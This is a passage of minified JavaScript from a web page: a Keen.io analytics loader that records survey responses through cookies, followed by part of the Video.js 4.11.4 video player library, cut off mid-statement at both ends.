a,s=document.getElementsByTagName("head")[0],l=document.createElement("script"),c=window;l.onload=l.onerror=l.onreadystatechange=function(){if(!(l.readyState&&!/^c|loade/.test(l.readyState)||a)){if(l.onload=l.onreadystatechange=null,a=1,i=c.Keen,r)c.Keen=r;else try{delete c.Keen}catch(t){c.Keen=void 0}n[e]=i,n[e].ready(o)}},l.async=1,l.src=t,s.parentNode.insertBefore(l,s)}}}("KeenAsync","https://d26b395fwzu5fz.cloudfront.net/keen-tracking-1.0.3.min.js",this),$(function(){var e=$.cookie("cf_survey_participant_uuid");$.cookie("cf_survey_participant_uuid")!==undefined&&$("#cfAR").append("<input id='cf_survey_participant_uuid' name='cf_survey_participant_uuid' data-cf-form-field='cf_survey_participant_uuid' data-param='cf_survey_participant_uuid' value='"+e+"' >")});try{KeenAsync.ready(function(){function e(){$(".elSurvey[data-survey-new='true']").length&&($surveyCookieCheck=$.cookie("cf_survey_participant_"+$page_ID),$surveyCookieCheck==undefined?(CFSurveyParticipantID="participant_"+(Math.random()+1).toString(36).substring(7),$.cookie("cf_survey_participant_"+$page_ID,CFSurveyParticipantID,{expires:7}),t.recordEvent("survey_data_collector",{survey_id:$survey_db_id,pid:CFSurveyParticipantID,type:"started"})):CFSurveyParticipantID=$.cookie("cf_survey_participant_"+$page_ID))}var t=new KeenAsync({projectId:"58a35e6f8db53dfda8a87a67",writeKey:"E844E116CB12000A6B72AA691F8A2108E6BEBC97A05786370C6703C31E3A5FD4EDC7CC8012418A997621F11C2CFD95A9C1D64E6EF1850AFCC2B76E360F7BA3BC3BE6AEFCCFAAD87B19E1309B88378181E69436B7E01A38447184F2886A9D7AF9"});$survey_ID=$(".elSurvey").first().attr("id"),$page_ID=$("#page-id").val(),$survey_db_id=$page_ID+"_"+$survey_ID,e(),$(document).on("click","a[href='#open-popup'], .elIMG[data-imagelink='#open-popup']",function(){e()}),$(document).on("click",".elSurvey[data-survey-new='true'] .surveyRadioOption",function(){$thisAnswer_index=$(this).index()+1,$answer_id=$(this).attr("data-answer-id"),$stepNumber=$(this).parent().parent().attr("data-survey-step"),$surveyCookieCheck_question=$.cookie("cf_survey_participant_q_"+$stepNumber),$surveyCookieCheck_question==undefined&&($.cookie("cf_survey_participant_q_"+$stepNumber,CFSurveyParticipantID,{expires:7}),t.recordEvent("survey_data_collector",{survey_id:$survey_db_id,pid:CFSurveyParticipantID,type:"question",question:$stepNumber,answer:$answer_id}))})})}catch(err){console.log("keen.io could not be loaded")}if( /*! Video.js v4.11.4 Copyright 2014 Brightcove, Inc. https://github.com/videojs/video.js/blob/master/LICENSE */ function(){function m(){return function(){}}function n(e){return function(){return this[e]}}function r(e){return function(){return e}}function t(e,n,i){if("string"==typeof e){if(0===e.indexOf("#")&&(e=e.slice(1)),t.Ga[e])return t.Ga[e];e=t.w(e)}if(!e||!e.nodeName)throw new TypeError("The element or ID supplied is not valid. (videojs)");return e.player||new t.Player(e,n,i)}function u(e,n,i,r){t.pc.forEach(i,function(t){e(n,t,r)})}function D(e,n){var i,r;i=Array.prototype.slice.call(n),r=m(),r=window.console||{log:r,warn:r,error:r},e?i.unshift(e.toUpperCase()+":"):e="log",t.log.history.push(i),i.unshift("VIDEOJS:"),r[e].apply?r[e].apply(r,i):r[e](i.join(" "))}function E(e){e.r("vjs-lock-showing")}function F(e,n,i,r){return i!==b?((i===k||t.Pd(i))&&(i=0),e.b.style[n]=-1!==(""+i).indexOf("%")||-1!==(""+i).indexOf("px")?i:"auto"===i?"":i+"px",r||e.l("resize"),e):e.b?-1!==(r=(i=e.b.style[n]).indexOf("px"))?parseInt(i.slice(0,r),10):parseInt(e.b["offset"+t.ba(n)],10):0}function G(e){var t,n,i,r,o,a;t=0,n=k,e.c("touchstart",function(e){1===e.touches.length&&(n=e.touches[0],t=(new Date).getTime(),i=f)}),e.c("touchmove",function(e){1<e.touches.length?i=l:n&&(o=e.touches[0].pageX-n.pageX,a=e.touches[0].pageY-n.pageY,22<Math.sqrt(o*o+a*a)&&(i=l))}),r=function(){i=l},e.c("touchleave",r),e.c("touchcancel",r),e.c("touchend",function(e){n=k,i===f&&(250>(new Date).getTime()-t&&(e.preventDefault(),this.l("tap")))})}function H(e,n){var i,r,o,a;return i=e.b,r=t.Hd(i),a=o=i.offsetWidth,i=e.handle,e.options().vertical?(a=r.top,r=n.changedTouches?n.changedTouches[0].pageY:n.pageY,i&&(a+=(i=i.w().offsetHeight)/2,o-=i),Math.max(0,Math.min(1,(a-r+o)/o))):(o=r.left,r=n.changedTouches?n.changedTouches[0].pageX:n.pageX,i&&(o+=(i=i.w().offsetWidth)/2,a-=i),Math.max(0,Math.min(1,(r-o)/a)))}function ca(e,n){e.U(n),n.c("click",t.bind(e,function(){E(this)}))}function J(e){e.xa=f,e.Fa.n("vjs-lock-showing"),e.b.setAttribute("aria-pressed",f),e.P&&0<e.P.length&&e.P[0].w().focus()}function I(e){e.xa=l,E(e.Fa),e.b.setAttribute("aria-pressed",l)}function da(e){var n,i,r,o,a={sources:[],tracks:[]};if((i=(n=t.Ea(e))["data-setup"])!==k&&t.h.z(n,t.JSON.parse(i||"{}")),t.h.z(a,n),e.hasChildNodes())for(r=0,o=(e=e.childNodes).length;r<o;r++)"source"===(i=(n=e[r]).nodeName.toLowerCase())?a.sources.push(t.Ea(n)):"track"===i&&a.tracks.push(t.Ea(n));return a}function Q(e,n,i){e.o&&(e.oa=l,e.o.dispose(),e.o=l),"Html5"!==n&&e.I&&(t.g.Gb(e.I),e.I=k),e.La=n,e.oa=l;var r=t.h.z({source:i,parentEl:e.b},e.m[n.toLowerCase()]);i&&(e.xc=i.type,i.src==e.F.src&&0<e.F.currentTime&&(r.startTime=e.F.currentTime),e.F.src=i.src),e.o=new window.videojs[n](e,r),e.o.H(function(){this.d.Na()})}function R(e,t){t!==b&&e.Fc!==t&&((e.Fc=t)?(e.n("vjs-has-started"),e.l("firstplay")):e.r("vjs-has-started"))}function T(e,n,i){if(e.o&&!e.o.oa)e.o.H(function(){this[n](i)});else try{e.o[n](i)}catch(r){throw t.log(r),r}}function S(e,n){if(e.o&&e.o.oa)try{return e.o[n]()}catch(i){throw e.o[n]===b?t.log("Video.js: "+n+" method not defined for "+e.La+" playback technology.",i):"TypeError"==i.name?(t.log("Video.js: "+n+" unavailable on "+e.La+" playback technology element.",i),e.o.oa=l):t.log(i),i}}function U(e,t){var n=e.selectSource(t);n?n.o===e.La?e.src(n.source):Q(e,n.o,n.source):(e.setTimeout(function(){this.error({code:4,message:this.t(this.options().notSupportedMessage)})},0),e.Na())}function P(e,t){return t!==b?(e.Hc=!!t,e):e.Hc}function ea(e){return e.j().o&&e.j().o.featuresPlaybackRate&&e.j().options().playbackRates&&0<e.j().options().playbackRates.length}function fa(e){e.Rb=l,e.kb(),e.k("play",e.ad),e.k("pause",e.kb)}function ia(){var e=W[X],t=e.charAt(0).toUpperCase()+e.slice(1);ka["set"+t]=function(t){return this.b.vjs_setProperty(e,t)}}function la(e){ka[e]=function(){return this.b.vjs_getProperty(e)}}function na(e,n,i,r,o){var a=e.Ma=e.Ma||[];(o=o||{}).kind=n,o.label=i,o.language=r,n=t.ba(n||"subtitles");var s=new window.videojs[n+"Track"](e,o);a.push(s),s.Fb()&&e.H(function(){this.setTimeout(function(){Y(s.j(),s.id())},0)})}function Y(e,t,n){for(var i,r,o=e.Ma,a=0,s=o.length;a<s;a++)(i=o[a]).id()===t?(i.show(),r=i):n&&i.M()==n&&0<i.mode()&&i.disable();(t=r?r.M():n||l)&&e.l(t+"trackchange")}function oa(e){0===e.sa&&e.load(),0===e.qa&&(e.d.c("timeupdate",t.bind(e,e.update,e.K)),e.d.c("ended",t.bind(e,e.reset,e.K)),("captions"===e.G||"subtitles"===e.G)&&e.d.na("textTrackDisplay").U(e))}function pa(e){var t,n,i,r=e.split(":");return e=0,3==r.length?(t=r[0],n=r[1],r=r[2]):(t=0,n=r[0],r=r[1]),r=(r=(r=r.split(/\s+/)).splice(0,1)[0]).split(/\.|,/),i=parseFloat(r[1]),r=r[0],e+=3600*parseFloat(t),e+=60*parseFloat(n),e+=parseFloat(r),i&&(e+=i/1e3),e}function $(e,t){var n,i=e.split("."),r=qa;!(i[0]in r)&&r.execScript&&r.execScript("var "+i[0]);for(;i.length&&(n=i.shift());)i.length||t===b?r=r[n]?r[n]:r[n]={}:r[n]=t}var b=void 0,f=!0,k=null,l=!1,s;document.createElement("video"),document.createElement("audio"),document.createElement("track");var videojs=window.videojs=t;t.bc="4.11",t.ed="https:"==document.location.protocol?"https://":"http://",t.options={techOrder:["html5","flash"],html5:{},flash:{},width:300,height:150,defaultVolume:0,playbackRates:[],inactivityTimeout:2e3,children:{mediaLoader:{},posterImage:{},textTrackDisplay:{},loadingSpinner:{},bigPlayButton:{},controlBar:{},errorDisplay:{}},language:document.getElementsByTagName("html")[0].getAttribute("lang")||navigator.languages&&navigator.languages[0]||navigator.Ke||navigator.language||"en",languages:{},notSupportedMessage:"No compatible source was found for this video."},"GENERATED_CDN_VSN"!==t.bc&&(videojs.options.flash.swf=t.ed+"vjs.zencdn.net/"+t.bc+"/video-js.swf"),t.sd=function(e,n){return t.options.languages[e]=t.options.languages[e]!==b?t.W.pa(t.options.languages[e],n):n,t.options.languages},t.Ga={},"function"==typeof define&&define.amd?define([],function(){return videojs}):"object"==typeof exports&&"object"==typeof module&&(module.exports=videojs),t.va=t.CoreObject=m(),t.va.extend=function(e){var n,i;for(var r in n=(e=e||{}).init||e.i||this.prototype.init||this.prototype.i||m(),(i=function(){n.apply(this,arguments)}).prototype=t.h.create(this.prototype),i.prototype.constructor=i,i.extend=t.va.extend,i.create=t.va.create,e)e.hasOwnProperty(r)&&(i.prototype[r]=e[r]);return i},t.va.create=function(){var e=t.h.create(this.prototype);return this.apply(e,arguments),e},t.c=function(e,n,i){if(t.h.isArray(n))return u(t.c,e,n,i);var r=t.getData(e);r.C||(r.C={}),r.C[n]||(r.C[n]=[]),i.q||(i.q=t.q++),r.C[n].push(i),r.X||(r.disabled=l,r.X=function(n){if(!r.disabled&&(n=t.Cc(n),i=r.C[n.type]))for(var i,o=0,a=(i=i.slice(0)).length;o<a&&!n.Jc();o++)i[o].call(e,n)}),1==r.C[n].length&&(e.addEventListener?e.addEventListener(n,r.X,l):e.attachEvent&&e.attachEvent("on"+n,r.X))},t.k=function(e,n,i){if(t.Ec(e)){var r=t.getData(e);if(r.C){if(t.h.isArray(n))return u(t.k,e,n,i);if(n){var o=r.C[n];if(o){if(i){if(i.q)for(r=0;r<o.length;r++)o[r].q===i.q&&o.splice(r--,1)}else r.C[n]=[];t.sc(e,n)}}else for(o in r.C)n=o,r.C[n]=[],t.sc(e,n)}}},t.sc=function(e,n){var i=t.getData(e);0===i.C[n].length&&(delete i.C[n],e.removeEventListener?e.removeEventListener(n,i.X,l):e.detachEvent&&e.detachEvent("on"+n,i.X)),t.Ob(i.C)&&(delete i.C,delete i.X,delete i.disabled),t.Ob(i)&&t.Sc(e)},t.Cc=function(e){function t(){return f}function n(){return l}if(!e||!e.Pb){var i=e||window.event;for(var r in e={},i)"layerX"!==r&&"layerY"!==r&&"keyLocation"!==r&&("returnValue"==r&&i.preventDefault||(e[r]=i[r]));if(e.target||(e.target=e.srcElement||document),e.relatedTarget=e.fromElement===e.target?e.toElement:e.fromElement,e.preventDefault=function(){i.preventDefault&&i.preventDefault(),e.returnValue=l,e.Nd=t,e.defaultPrevented=f},e.Nd=n,e.defaultPrevented=l,e.stopPropagation=function(){i.stopPropagation&&i.stopPropagation(),e.cancelBubble=f,e.Pb=t},e.Pb=n,e.stopImmediatePropagation=function(){i.stopImmediatePropagation&&i.stopImmediatePropagation(),e.Jc=t,e.stopPropagation()},e.Jc=n,e.clientX!=k){r=document.documentElement;var o=document.body;e.pageX=e.clientX+(r&&r.scrollLeft||o&&o.scrollLeft||0)-(r&&r.clientLeft||o&&o.clientLeft||0),e.pageY=e.clientY+(r&&r.scrollTop||o&&o.scrollTop||0)-(r&&r.clientTop||o&&o.clientTop||0)}e.which=e.charCode||e.keyCode,e.button!=k&&(e.button=1&e.button?0:4&e.button?1:2&e.button?2:0)}return e},t.l=function(e,n){var i=t.Ec(e)?t.getData(e):{},r=e.parentNode||e.ownerDocument;return"string"==typeof n&&(n={type:n,target:e}),n=t.Cc(n),i.X&&i.X.call(e,n),r&&!n.Pb()&&n.bubbles!==l?t.l(r,n):r||n.defaultPrevented||(i=t.getData(n.target),!n.target[n.type])||(i.disabled=f,"function"==typeof n.target[n.type]&&n.target[n.type](),i.disabled=l),!n.defaultPrevented},t.Q=function(e,n,i){function r(){t.k(e,n,r),i.apply(this,arguments)}if(t.h.isArray(n))return u(t.Q,e,n,i);r.q=i.q=i.q||t.q++,t.c(e,n,r)};var v=Object.prototype.hasOwnProperty;t.e=function(e,n){var i;return n=n||{},i=document.createElement(e||"div"),t.h.Y(n,function(e,t){-1!==e.indexOf("aria-")||"role"==e?i.setAttribute(e,t):i[e]=t}),i},t.ba=function(e){return e.charAt(0).toUpperCase()+e.slice(1)},t.h={},t.h.create=Object.create||function(e){function t(){}return t.prototype=e,new t},t.h.Y=function(e,t,n){for(var i in e)v.call(e,i)&&t.call(n||this,i,e[i])},t.h.z=function(e,t){if(!t)return e;for(var n in t)v.call(t,n)&&(e[n]=t[n]);return e},t.h.Ad=function(e,n){var i,r,o;for(i in e=t.h.copy(e),n)v.call(n,i)&&(r=e[i],o=n[i],e[i]=t.h.ab(r)&&t.h.ab(o)?t.h.Ad(r,o):n[i]);return e},t.h.copy=function(e){return t.h.z({},e)},t.h.ab=function(e){return!!e&&"object"==typeof e&&"[object Object]"===e.toString()&&e.constructor===Object},t.h.isArray=Array.isArray||function(e){return"[object Array]"===Object.prototype.toString.call(e)},t.Pd=function(e){return e!=e},t.bind=function(e,n,i){function r(){return n.apply(e,arguments)}return n.q||(n.q=t.q++),r.q=i?i+"_"+n.q:n.q,r},t.ya={},t.q=1,t.expando="vdata"+(new Date).getTime(),t.getData=function(e){var n=e[t.expando];return n||(n=e[t.expando]=t.q++,t.ya[n]={}),t.ya[n]},t.Ec=function(e){return!(!(e=e[t.expando])||t.Ob(t.ya[e]))},t.Sc=function(e){var n=e[t.expando];if(n){delete t.ya[n];try{delete e[t.expando]}catch(i){e.removeAttribute?e.removeAttribute(t.expando):e[t.expando]=k}}},t.Ob=function(e){for(var t in e)if(e[t]!==k)return l;return f},t.$a=function(e,t){return-1!==(" "+e.className+" ").indexOf(" "+t+" ")},t.n=function(e,n){t.$a(e,n)||(e.className=""===e.className?n:e.className+" "+n)},t.r=function(e,n){var i,r;if(t.$a(e,n)){for(r=(i=e.className.split(" ")).length-1;0<=r;r--)i[r]===n&&i.splice(r,1);e.className=i.join(" ")}},t.A=t.e("video"),t.N=navigator.userAgent,t.md=/iPhone/i.test(t.N),t.ld=/iPad/i.test(t.N),t.nd=/iPod/i.test(t.N),t.kd=t.md||t.ld||t.nd;var aa=t,x,y=t.N.match(/OS (\d+)_/i);x=y&&y[1]?y[1]:b,aa.Ae=x,t.hd=/Android/i.test(t.N);var ba=t,z,A=t.N.match(/Android (\d+)(?:\.(\d+))?(?:\.(\d+))*/i),B,C,L,M,N,O;A?(B=A[1]&&parseFloat(A[1]),C=A[2]&&parseFloat(A[2]),z=B&&C?parseFloat(A[1]+"."+A[2]):B||k):z=k,ba.ac=z,t.od=t.hd&&/webkit/i.test(t.N)&&2.3>t.ac,t.jd=/Firefox/i.test(t.N),t.Be=/Chrome/i.test(t.N),t.wb=!!("ontouchstart"in window||window.gd&&document instanceof window.gd),t.fd="backgroundSize"in t.A.style,t.Uc=function(e,n){t.h.Y(n,function(t,n){n===k||void 0===n||n===l?e.removeAttribute(t):e.setAttribute(t,n===f?"":n)})},t.Ea=function(e){var t,n,i,r;if(t={},e&&e.attributes&&0<e.attributes.length)for(var o=(n=e.attributes).length-1;0<=o;o--)i=n[o].name,r=n[o].value,"boolean"!=typeof e[i]&&-1===",autoplay,controls,loop,muted,default,".indexOf(","+i+",")||(r=r!==k?f:l),t[i]=r;return t},t.He=function(e,t){var n="";return document.defaultView&&document.defaultView.getComputedStyle?n=document.defaultView.getComputedStyle(e,"").getPropertyValue(t):e.currentStyle&&(n=e["client"+t.substr(0,1).toUpperCase()+t.substr(1)]+"px"),n},t.Nb=function(e,t){t.firstChild?t.insertBefore(e,t.firstChild):t.appendChild(e)},t.Va={},t.w=function(e){return 0===e.indexOf("#")&&(e=e.slice(1)),document.getElementById(e)},t.Da=function(e,t){t=t||e;var n=Math.floor(e%60),i=Math.floor(e/60%60),r=Math.floor(e/3600),o=Math.floor(t/60%60),a=Math.floor(t/3600);return(isNaN(e)||Infinity===e)&&(r=i=n="-"),(r=0<r||0<a?r+":":"")+(((r||10<=o)&&10>i?"0"+i:i)+":")+(10>n?"0"+n:n)},t.ud=function(){document.body.focus(),document.onselectstart=r(l)},t.ve=function(){document.onselectstart=r(f)},t.trim=function(e){return(e+"").replace(/^\s+|\s+$/g,"")},t.round=function(e,t){return t||(t=0),Math.round(e*Math.pow(10,t))/Math.pow(10,t)},t.Eb=function(e,t){return{length:1,start:function(){return e},end:function(){return t}}},t.je=function(e){try{var n=window.localStorage||l;n&&(n.volume=e)}catch(i){22==i.code||1014==i.code?t.log("LocalStorage Full (VideoJS)",i):18==i.code?t.log("LocalStorage not allowed (VideoJS)",i):t.log("LocalStorage Error (VideoJS)",i)}},t.Jd=function(e){return e.match(/^https?:\/\//)||(e=t.e("div",{innerHTML:'<a href="'+e+'">x</a>'}).firstChild.href),e},t.fe=function(e){var n,i,r,o;o="protocol hostname port pathname search hash host".split(" "),(r=""===(i=t.e("a",{href:e})).host&&"file:"!==i.protocol)&&((n=t.e("div")).innerHTML='<a href="'+e+'"></a>',i=n.firstChild,n.setAttribute("style","display:none; position:absolute;"),document.body.appendChild(n)),e={};for(var a=0;a<o.length;a++)e[o[a]]=i[o[a]];return r&&document.body.removeChild(n),e},t.log=function(){D(k,arguments)},t.log.history=[],t.log.error=function(){D("error",arguments)},t.log.warn=function(){D("warn",arguments)},t.Hd=function(e){var n,i;return e.getBoundingClientRect&&e.parentNode&&(n=e.getBoundingClientRect()),n?(e=document.documentElement,i=document.body,{left:t.round(n.left+(window.pageXOffset||i.scrollLeft)-(e.clientLeft||i.clientLeft||0)),top:t.round(n.top+(window.pageYOffset||i.scrollTop)-(e.clientTop||i.clientTop||0))}):{left:0,top:0}},t.pc={},t.pc.forEach=function(e,n,i){if(t.h.isArray(e)&&n instanceof Function)for(var r=0,o=e.length;r<o;++r)n.call(i||t,e[r],r,e);return e},t.ye=function(e,n){var i,r,o,a,s,l,c;"string"==typeof e&&(e={uri:e}),videojs.W.pa({method:"GET",timeout:45e3},e),n=n||m(),l=function(){window.clearTimeout(s),n(k,r,r.response||r.responseText)},c=function(e){window.clearTimeout(s),e&&"string"!=typeof e||(e=Error(e)),n(e,r)},void 0===(i=window.XMLHttpRequest)&&(i=function(){try{return new window.ActiveXObject("Msxml2.XMLHTTP.6.0")}catch(e){}try{return new window.ActiveXObject("Msxml2.XMLHTTP.3.0")}catch(n){}try{return new window.ActiveXObject("Msxml2.XMLHTTP")}catch(i){}throw Error("This browser does not support XMLHttpRequest.")}),(r=new i).uri=e.uri,i=t.fe(e.uri),o=window.location,i.protocol+i.host===o.protocol+o.host||!window.XDomainRequest||"withCredentials"in r?(a="file:"==i.protocol||"file:"==o.protocol,r.onreadystatechange=function(){if(4===r.readyState){if(r.te)return c("timeout");200===r.status||a&&0===r.status?l():c()}},e.timeout&&(s=window.setTimeout(function(){4!==r.readyState&&(r.te=f,r.abort())},e.timeout))):((r=new window.XDomainRequest).onload=l,r.onerror=c,r.onprogress=m(),r.ontimeout=m());try{r.open(e.method||"GET",e.uri,f)}catch(w){return void c(w)}e.withCredentials&&(r.withCredentials=f),e.responseType&&(r.responseType=e.responseType);try{r.send()}catch(u){c(u)}},t.W={},t.W.pa=function(e,n){var i,r,o;for(i in e=t.h.copy(e),n)n.hasOwnProperty(i)&&(r=e[i],o=n[i],e[i]=t.h.ab(r)&&t.h.ab(o)?t.W.pa(r,o):n[i]);return e},t.a=t.va.extend({i:function(e,n,i){var r,o;(this.d=e,this.m=t.h.copy(this.m),n=this.options(n),this.K=n.id||n.el&&n.el.id,this.K||(this.K=(e.id&&e.id()||"no_player")+"_component_"+t.q++),this.Vd=n.name||k,this.b=n.el||this.e(),this.O=[],this.Xa={},this.Ya={},this.Gc(),this.H(i),n.Tc!==l)&&(this.j().reportUserActivity&&(r=t.bind(this.j(),this.j().reportUserActivity),this.c("touchstart",function(){r(),this.clearInterval(o),o=this.setInterval(r,250)}),e=function(){r(),this.clearInterval(o)},this.c("touchmove",r),this.c("touchend",e),this.c("touchcancel",e)))}}),s=t.a.prototype,s.dispose=function(){if(this.l({type:"dispose",bubbles:l}),this.O)for(var e=this.O.length-1;0<=e;e--)this.O[e].dispose&&this.O[e].dispose();this.Ya=this.Xa=this.O=k,this.k(),this.b.parentNode&&this.b.parentNode.removeChild(this.b),t.Sc(this.b),this.b=k},s.d=f,s.j=n("d"),s.options=function(e){return e===b?this.m:this.m=t.W.pa(this.m,e)},s.e=function(e,n){return t.e(e,n)},s.t=function(e){var t=this.d.language(),n=this.d.languages();return n&&n[t]&&n[t][e]?n[t][e]:e},s.w=n("b"),s.ma=function(){return this.v||this.b},s.id=n("K"),s.name=n("Vd"),s.children=n("O"),s.Kd=function(e){return this.Xa[e]},s.na=function(e){return this.Ya[e]},s.U=function(e,n){var i,r;return"string"==typeof e?(r=e,i=(n=n||{}).componentClass||t.ba(r),n.name=r,i=new window.videojs[i](this.d||this,n)):i=e,this.O.push(i),"function"==typeof i.id&&(this.Xa[i.id()]=i),(r=r||i.name&&i.name())&&(this.Ya[r]=i),"function"==typeof i.el&&i.el()&&this.ma().appendChild(i.el()),i},s.removeChild=function(e){if("string"==typeof e&&(e=this.na(e)),e&&this.O){for(var t=l,n=this.O.length-1;0<=n;n--)if(this.O[n]===e){t=f,this.O.splice(n,1);break}t&&(this.Xa[e.id()]=k,this.Ya[e.name()]=k,(t=e.w())&&t.parentNode===this.ma()&&this.ma().removeChild(e.w()))}},s.Gc=function(){var e,n,i,r,o,a;if(i=(n=(e=this).options()).children)if(a=function(t,i){n[t]!==b&&(i=n[t]),i!==l&&(e[t]=e.U(t,i))},t.h.isArray(i))for(var s=0;s<i.length;s++)"string"==typeof(r=i[s])?(o=r,r={}):o=r.name,a(o,r);else t.h.Y(i,a)},s.S=r(""),s.c=function(e,n,i){var r,o,a;return"string"==typeof e||t.h.isArray(e)?t.c(this.b,e,t.bind(this,n)):(r=t.bind(this,i),a=this,(o=function(){a.k(e,n,r)}).q=r.q,this.c("dispose",o),(i=function(){a.k("dispose",o)}).q=r.q,e.nodeName?(t.c(e,n,r),t.c(e,"dispose",i)):"function"==typeof e.c&&(e.c(n,r),e.c("dispose",i))),this},s.k=function(e,n,i){return!e||"string"==typeof e||t.h.isArray(e)?t.k(this.b,e,n):(i=t.bind(this,i),this.k("dispose",i),e.nodeName?(t.k(e,n,i),t.k(e,"dispose",i)):(e.k(n,i),e.k("dispose",i))),this},s.Q=function(e,n,i){var r,o,a;return"string"==typeof e||t.h.isArray(e)?t.Q(this.b,e,t.bind(this,n)):(r=t.bind(this,i),o=this,(a=function(){o.k(e,n,a),r.apply(this,arguments)}).q=r.q,this.c(e,n,a)),this},s.l=function(e){return t.l(this.b,e),this},s.H=function(e){return e&&(this.oa?e.call(this):(this.hb===b&&(this.hb=[]),this.hb.push(e))),this},s.Na=function(){this.oa=f;var e=this.hb;if(e&&0<e.length){for(var t=0,n=e.length;t<n;t++)e[t].call(this);this.hb=[],this.l("ready")}},s.$a=function(e){return t.$a(this.b,e)},s.n=function(e){return t.n(this.b,e),this},s.r=function(e){return t.r(this.b,e),this},s.show=function(){return this.b.style.display="block",this},s.Z=function(){return this.b.style.display="none",this},s.disable=function(){this.Z(),this.show=m()},s.width=function(e,t){return F(this,"width",e,t)},s.height=function(e,t){return F(this,"height",e,t)},s.Dd=function(e,t){return this.width(e,f).height(t)},s.setTimeout=function(e,n){function i(){this.clearTimeout(r)}e=t.bind(this,e);var r=setTimeout(e,n);return i.q="vjs-timeout-"+r,this.c("dispose",i),r},s.clearTimeout=function(e){function t(){}return clearTimeout(e),t.q="vjs-timeout-"+e,this.k("dispose",t),e},s.setInterval=function(e,n){function i(){this.clearInterval(r)}e=t.bind(this,e);var r=setInterval(e,n);return i.q="vjs-interval-"+r,this.c("dispose",i),r},s.clearInterval=function(e){function t(){}return clearInterval(e),t.q="vjs-interval-"+e,this.k("dispose",t),e},t.u=t.a.extend({i:function(e,n){t.a.call(this,e,n),G(this),this.c("tap",this.s),this.c("click",this.s),this.c("focus",this.fb),this.c("blur",this.eb)}}),s=t.u.prototype,s.e=function(e,n){var i;return n=t.h.z({className:this.S(),role:"button","aria-live":"polite",tabIndex:0},n),i=t.a.prototype.e.call(this,e,n),n.innerHTML||(this.v=t.e("div",{className:"vjs-control-content"}),this.Cb=t.e("span",{className:"vjs-control-text",innerHTML:this.t(this.la)||"Need Text"}),this.v.appendChild(this.Cb),i.appendChild(this.v)),i},s.S=function(){return"vjs-control "+t.a.prototype.S.call(this)},s.s=m(),s.fb=function(){t.c(document,"keydown",t.bind(this,this.ea))},s.ea=function(e){32!=e.which&&13!=e.which||(e.preventDefault(),this.s())},s.eb=function(){t.k(document,"keydown",t.bind(this,this.ea))},t.R=t.a.extend({i:function(e,n){t.a.call(this,e,n),this.td=this.na(this.m.barName),this.handle=this.na(this.m.handleName),this.c("mousedown",this.gb),this.c("touchstart",this.gb),this.c("focus",this.fb),this.c("blur",this.eb),this.c("click",this.s),this.c(e,"controlsvisible",this.update),this.c(e,this.Oc,this.update)}}),s=t.R.prototype,s.e=function(e,n){return(n=n||{}).className+=" vjs-slider",n=t.h.z({role:"slider","aria-valuenow":0,"aria-valuemin":0,"aria-valuemax":100,tabIndex:0},n),t.a.prototype.e.call(this,e,n)},s.gb=function(e){e.preventDefault(),t.ud(),this.n("vjs-sliding"),this.c(document,"mousemove",this.fa),this.c(document,"mouseup",this.ra),this.c(document,"touchmove",this.fa),this.c(document,"touchend",this.ra),this.fa(e)},s.fa=m(),s.ra=function(){t.ve(),this.r("vjs-sliding"),this.k(document,"mousemove",this.fa),this.k(document,"mouseup",this.ra),this.k(document,"touchmove",this.fa),this.k(document,"touchend",this.ra),this.update()},s.update=function(){if(this.b){var e,n=this.Lb(),i=this.handle,r=this.td;if(isNaN(n)&&(n=0),e=n,i){e=this.b.offsetWidth;var o=i.w().offsetWidth;e=(n*=1-(e=o?o/e:0))+e/2,i.w().style.left=t.round(100*n,2)+"%"}r&&(r.w().style.width=t.round(100*e,2)+"%")}},s.fb=function(){this.c(document,"keydown",this.ea)},s.ea=function(e){37==e.which||40==e.which?(e.preventDefault(),this.Yc()):38!=e.which&&39!=e.which||(e.preventDefault(),this.Zc())},s.eb=function(){this.k(document,"keydown",this.ea)},s.s=function(e){e.stopImmediatePropagation(),e.preventDefault()},t.$=t.a.extend(),t.$.prototype.defaultValue=0,t.$.prototype.e=function(e,n){return(n=n||{}).className+=" vjs-slider-handle",n=t.h.z({innerHTML:'<span class="vjs-control-text">'+this.defaultValue+"</span>"},n),t.a.prototype.e.call(this,"div",n)},t.ja=t.a.extend(),t.ja.prototype.e=function(){var e=this.options().uc||"ul";return this.v=t.e(e,{className:"vjs-menu-content"}),(e=t.a.prototype.e.call(this,"div",{append:this.v,className:"vjs-menu"})).appendChild(this.v),t.c(e,"click",function(e){e.preventDefault(),e.stopImmediatePropagation()}),e},t.J=t.u.extend({i:function(e,n){t.u.call(this,e,n),this.selected(n.selected)}}),t.J.prototype.e=function(e,n){return t.u.prototype.e.call(this,"li",t.h.z({className:"vjs-menu-item",innerHTML:this.t(this.m.label)},n))},t.J.prototype.s=function(){this.selected(f)},t.J.prototype.selected=function(e){e?(this.n("vjs-selected"),this.b.setAttribute("aria-selected",f)):(this.r("vjs-selected"),this.b.setAttribute("aria-selected",l))},t.L=t.u.extend({i:function(e,n){t.u.call(this,e,n),this.Fa=this.Aa(),this.U(this.Fa),this.P&&0===this.P.length&&this.Z(),this.c("keydown",this.ea),this.b.setAttribute("aria-haspopup",f),this.b.setAttribute("role","button")}}),s=t.L.prototype,s.xa=l,s.Aa=function(){var e=new t.ja(this.d);if(this.options().title&&e.ma().appendChild(t.e("li",{className:"vjs-menu-title",innerHTML:t.ba(this.options().title),re:-1})),this.P=this.createItems())for(var n=0;n<this.P.length;n++)ca(e,this.P[n]);return e},s.za=m(),s.S=function(){return this.className+" vjs-menu-button "+t.u.prototype.S.call(this)},s.fb=m(),s.eb=m(),s.s=function(){this.Q("mouseout",t.bind(this,function(){E(this.Fa),this.b.blur()})),this.xa?I(this):J(this)},s.ea=function(e){32==e.which||13==e.which?(this.xa?I(this):J(this),e.preventDefault()):27==e.which&&(this.xa&&I(this),e.preventDefault())},t.D=function(e){"number"==typeof e?this.code=e:"string"==typeof e?this.message=e:"object"==typeof e&&t.h.z(this,e),this.message||(this.message=t.D.Bd[this.code]||"")},t.D.prototype.code=0,t.D.prototype.message="",t.D.prototype.status=k,t.D.Za="MEDIA_ERR_CUSTOM MEDIA_ERR_ABORTED MEDIA_ERR_NETWORK MEDIA_ERR_DECODE MEDIA_ERR_SRC_NOT_SUPPORTED MEDIA_ERR_ENCRYPTED".split(" "),t.D.Bd={1:"You aborted the video playback",2:"A network error caused the video download to fail part-way.",3:"The video playback was aborted due to a corruption problem or because the video used features your browser did not support.",4:"The video could not be loaded, either because the server or network failed or because the format is not supported.",5:"The video is encrypted and we do not have the keys to decrypt it."};for(var 